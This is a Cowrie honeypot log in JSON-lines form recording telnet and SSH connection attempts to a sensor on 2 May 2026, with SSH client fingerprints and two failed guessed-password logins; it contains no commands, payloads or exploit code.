{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":53812,"dst_ip":"10.17.0.5","dst_port":23,"session":"87fa1abf0ac5","protocol":"telnet","message":"New connection: 144.91.112.66:53812 (10.17.0.5:23) [session: 87fa1abf0ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:14.447878Z"}
{"eventid":"cowrie.session.closed","duration":49.79923224449158,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:14.572886Z","src_ip":"38.60.198.128","session":"457a5a1bc043","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.471072912216187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:14.811363Z","src_ip":"144.91.112.66","session":"c6956863f96e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.70928764343262,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:15.893712Z","src_ip":"38.60.198.128","session":"7e0adbacc268","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.44839930534363,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:16.699966Z","src_ip":"38.60.198.128","session":"a9b653395d47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":60602,"dst_ip":"10.17.0.5","dst_port":23,"session":"83bad8c8a934","protocol":"telnet","message":"New connection: 144.91.112.66:60602 (10.17.0.5:23) [session: 83bad8c8a934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:17.238931Z"}
{"eventid":"cowrie.session.closed","duration":31.29012131690979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:18.415504Z","src_ip":"144.91.112.66","session":"b7a42753ab4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.98811459541321,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:18.880443Z","src_ip":"192.211.53.160","session":"1112f9c48cc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.678128480911255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:18.889124Z","src_ip":"144.91.112.66","session":"672a720c457e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.818251609802246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:19.585951Z","src_ip":"144.91.112.66","session":"5d17bc297855","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.398601055145264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:20.171489Z","src_ip":"144.91.112.66","session":"460710774728","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":43622,"dst_ip":"10.17.0.5","dst_port":23,"session":"5201086e7bac","protocol":"telnet","message":"New connection: 144.91.112.66:43622 (10.17.0.5:23) [session: 5201086e7bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:21.660123Z"}
{"eventid":"cowrie.session.closed","duration":30.70861005783081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:22.291128Z","src_ip":"144.91.112.66","session":"acf667b788d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":35944,"dst_ip":"10.17.0.5","dst_port":22,"session":"56f39cc7dde2","protocol":"ssh","message":"New connection: 198.98.56.227:35944 (10.17.0.5:22) [session: 56f39cc7dde2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:22.665865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:22.673241Z","src_ip":"198.98.56.227","session":"56f39cc7dde2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":46562,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a94f9ac7cc4","protocol":"telnet","message":"New connection: 144.91.112.66:46562 (10.17.0.5:23) [session: 5a94f9ac7cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:22.847195Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:22.983274Z","src_ip":"198.98.56.227","session":"56f39cc7dde2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser@","message":"login attempt [testuser/testuser@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:24.001361Z","src_ip":"198.98.56.227","session":"56f39cc7dde2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":50700,"dst_ip":"10.17.0.5","dst_port":23,"session":"762fe4823c14","protocol":"telnet","message":"New connection: 144.91.112.66:50700 (10.17.0.5:23) [session: 762fe4823c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:24.546283Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:25.016593Z","src_ip":"198.98.56.227","session":"56f39cc7dde2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":51976,"dst_ip":"10.17.0.5","dst_port":23,"session":"e15fa25b3985","protocol":"telnet","message":"New connection: 144.91.112.66:51976 (10.17.0.5:23) [session: e15fa25b3985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:25.100992Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":52166,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8129f46bf4a","protocol":"telnet","message":"New connection: 144.91.112.66:52166 (10.17.0.5:23) [session: f8129f46bf4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:25.202724Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":53552,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ebac9b5aa05","protocol":"telnet","message":"New connection: 144.91.112.66:53552 (10.17.0.5:23) [session: 3ebac9b5aa05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:25.738800Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35154,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eb682a228e7","protocol":"telnet","message":"New connection: 38.60.198.128:35154 (159.203.135.109:23) [session: 7eb682a228e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:26.191141Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":55868,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d1cc3f71524","protocol":"telnet","message":"New connection: 144.91.112.66:55868 (10.17.0.5:23) [session: 0d1cc3f71524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:26.649530Z"}
{"eventid":"cowrie.session.closed","duration":30.860655546188354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:27.173745Z","src_ip":"144.91.112.66","session":"677d23cbbea5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36654,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcfb5d624ef4","protocol":"telnet","message":"New connection: 38.60.198.128:36654 (159.203.135.109:23) [session: fcfb5d624ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:27.725810Z"}
{"eventid":"cowrie.session.closed","duration":31.060696363449097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:28.114576Z","src_ip":"144.91.112.66","session":"990eec876c58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":59436,"dst_ip":"10.17.0.5","dst_port":23,"session":"16c1d9455d9c","protocol":"telnet","message":"New connection: 144.91.112.66:59436 (10.17.0.5:23) [session: 16c1d9455d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:28.242735Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":45422,"dst_ip":"159.203.135.109","dst_port":23,"session":"401d589ff150","protocol":"telnet","message":"New connection: 192.211.53.160:45422 (159.203.135.109:23) [session: 401d589ff150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:29.948754Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":35206,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa6d0da2b190","protocol":"telnet","message":"New connection: 144.91.112.66:35206 (10.17.0.5:23) [session: aa6d0da2b190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:30.085910Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":45466,"dst_ip":"159.203.135.109","dst_port":23,"session":"44818c000919","protocol":"telnet","message":"New connection: 192.211.53.160:45466 (159.203.135.109:23) [session: 44818c000919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:31.110680Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":41210,"dst_ip":"10.17.0.5","dst_port":23,"session":"55cfa9376cce","protocol":"telnet","message":"New connection: 144.91.112.66:41210 (10.17.0.5:23) [session: 55cfa9376cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:32.951655Z"}
{"eventid":"cowrie.session.closed","duration":36.5678129196167,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:35.285222Z","src_ip":"38.60.198.128","session":"30f26c6de4b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.265901565551758,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:37.291191Z","src_ip":"144.91.112.66","session":"0268dac318b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":43956,"dst_ip":"159.203.135.109","dst_port":23,"session":"9661d015d36f","protocol":"telnet","message":"New connection: 64.227.82.147:43956 (159.203.135.109:23) [session: 9661d015d36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:38.428284Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":56024,"dst_ip":"10.17.0.5","dst_port":23,"session":"e78a677e5498","protocol":"telnet","message":"New connection: 144.91.112.66:56024 (10.17.0.5:23) [session: e78a677e5498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:39.147485Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":57240,"dst_ip":"10.17.0.5","dst_port":23,"session":"535fd35b0f94","protocol":"telnet","message":"New connection: 144.91.112.66:57240 (10.17.0.5:23) [session: 535fd35b0f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:39.647538Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":37614,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac43a8819168","protocol":"telnet","message":"New connection: 144.91.112.66:37614 (10.17.0.5:23) [session: ac43a8819168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:43.435670Z"}
{"eventid":"cowrie.session.closed","duration":31.092556715011597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:45.052085Z","src_ip":"144.91.112.66","session":"4fb5708a6215","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.629889726638794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:45.077531Z","src_ip":"144.91.112.66","session":"87fa1abf0ac5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":42006,"dst_ip":"10.17.0.5","dst_port":23,"session":"7982f2639a26","protocol":"telnet","message":"New connection: 144.91.112.66:42006 (10.17.0.5:23) [session: 7982f2639a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:45.451046Z"}
{"eventid":"cowrie.session.closed","duration":51.022724628448486,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:45.745518Z","src_ip":"45.81.23.16","session":"b3e71f8ef370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":33568,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f93535e003a","protocol":"ssh","message":"New connection: 95.215.8.165:33568 (10.17.0.5:22) [session: 1f93535e003a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:47.482970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:47.490908Z","src_ip":"95.215.8.165","session":"1f93535e003a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:47.582839Z","src_ip":"95.215.8.165","session":"1f93535e003a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"232323","message":"login attempt [ubuntu/232323] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:47.982066Z","src_ip":"95.215.8.165","session":"1f93535e003a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.934011220932007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:48.172816Z","src_ip":"144.91.112.66","session":"83bad8c8a934","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:49.086861Z","src_ip":"95.215.8.165","session":"1f93535e003a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":52132,"dst_ip":"10.17.0.5","dst_port":23,"session":"513556c69c7a","protocol":"telnet","message":"New connection: 144.91.112.66:52132 (10.17.0.5:23) [session: 513556c69c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:50.097354Z"}
{"eventid":"cowrie.session.closed","duration":39.15737867355347,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:50.369738Z","src_ip":"38.60.198.128","session":"c96af1c942b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.87150049209595,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:50.579861Z","src_ip":"38.60.198.128","session":"99375cab7384","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40254020690918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:52.062550Z","src_ip":"144.91.112.66","session":"5201086e7bac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.257611989974976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:53.104700Z","src_ip":"144.91.112.66","session":"5a94f9ac7cc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":34114,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8d58c2c9ce9","protocol":"telnet","message":"New connection: 144.91.112.66:34114 (10.17.0.5:23) [session: f8d58c2c9ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:54.127345Z"}
{"eventid":"cowrie.session.closed","duration":43.10708236694336,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:55.030404Z","src_ip":"38.60.198.128","session":"f0b9759dbf75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.014951944351196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:55.561119Z","src_ip":"144.91.112.66","session":"762fe4823c14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36046,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4ced1683c19","protocol":"telnet","message":"New connection: 38.60.198.128:36046 (159.203.135.109:23) [session: f4ced1683c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:55.669973Z"}
{"eventid":"cowrie.session.closed","duration":30.466988563537598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:56.205671Z","src_ip":"144.91.112.66","session":"3ebac9b5aa05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13643717765808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:56.237298Z","src_ip":"144.91.112.66","session":"e15fa25b3985","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0414137840271,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:56.243994Z","src_ip":"144.91.112.66","session":"f8129f46bf4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":40192,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb2a8abfb5e5","protocol":"telnet","message":"New connection: 144.91.112.66:40192 (10.17.0.5:23) [session: eb2a8abfb5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:56.322203Z"}
{"eventid":"cowrie.session.closed","duration":30.412541389465332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:57.061985Z","src_ip":"144.91.112.66","session":"0d1cc3f71524","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41662,"dst_ip":"159.203.135.109","dst_port":23,"session":"c25dac17a9d3","protocol":"telnet","message":"New connection: 38.60.198.128:41662 (159.203.135.109:23) [session: c25dac17a9d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:58.223710Z"}
{"eventid":"cowrie.session.closed","duration":30.805859565734863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:59.048491Z","src_ip":"144.91.112.66","session":"16c1d9455d9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.67078447341919,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:59.396474Z","src_ip":"38.60.198.128","session":"fcfb5d624ef4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42808,"dst_ip":"159.203.135.109","dst_port":23,"session":"261926f018d9","protocol":"telnet","message":"New connection: 38.60.198.128:42808 (159.203.135.109:23) [session: 261926f018d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:59.444472Z"}
{"eventid":"cowrie.session.closed","duration":31.049591541290283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:01.135349Z","src_ip":"144.91.112.66","session":"aa6d0da2b190","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.75146698951721,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:02.942494Z","src_ip":"38.60.198.128","session":"7eb682a228e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":57958,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbb450b9fd76","protocol":"telnet","message":"New connection: 144.91.112.66:57958 (10.17.0.5:23) [session: cbb450b9fd76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:03.013018Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":36312,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf756cf3d657","protocol":"telnet","message":"New connection: 144.91.112.66:36312 (10.17.0.5:23) [session: bf756cf3d657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:05.690863Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49942,"dst_ip":"159.203.135.109","dst_port":23,"session":"64b9df8aa8c9","protocol":"telnet","message":"New connection: 38.60.198.128:49942 (159.203.135.109:23) [session: 64b9df8aa8c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:06.574719Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51598,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fbae92d843c","protocol":"telnet","message":"New connection: 38.60.198.128:51598 (159.203.135.109:23) [session: 5fbae92d843c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:21:06.974916Z"}
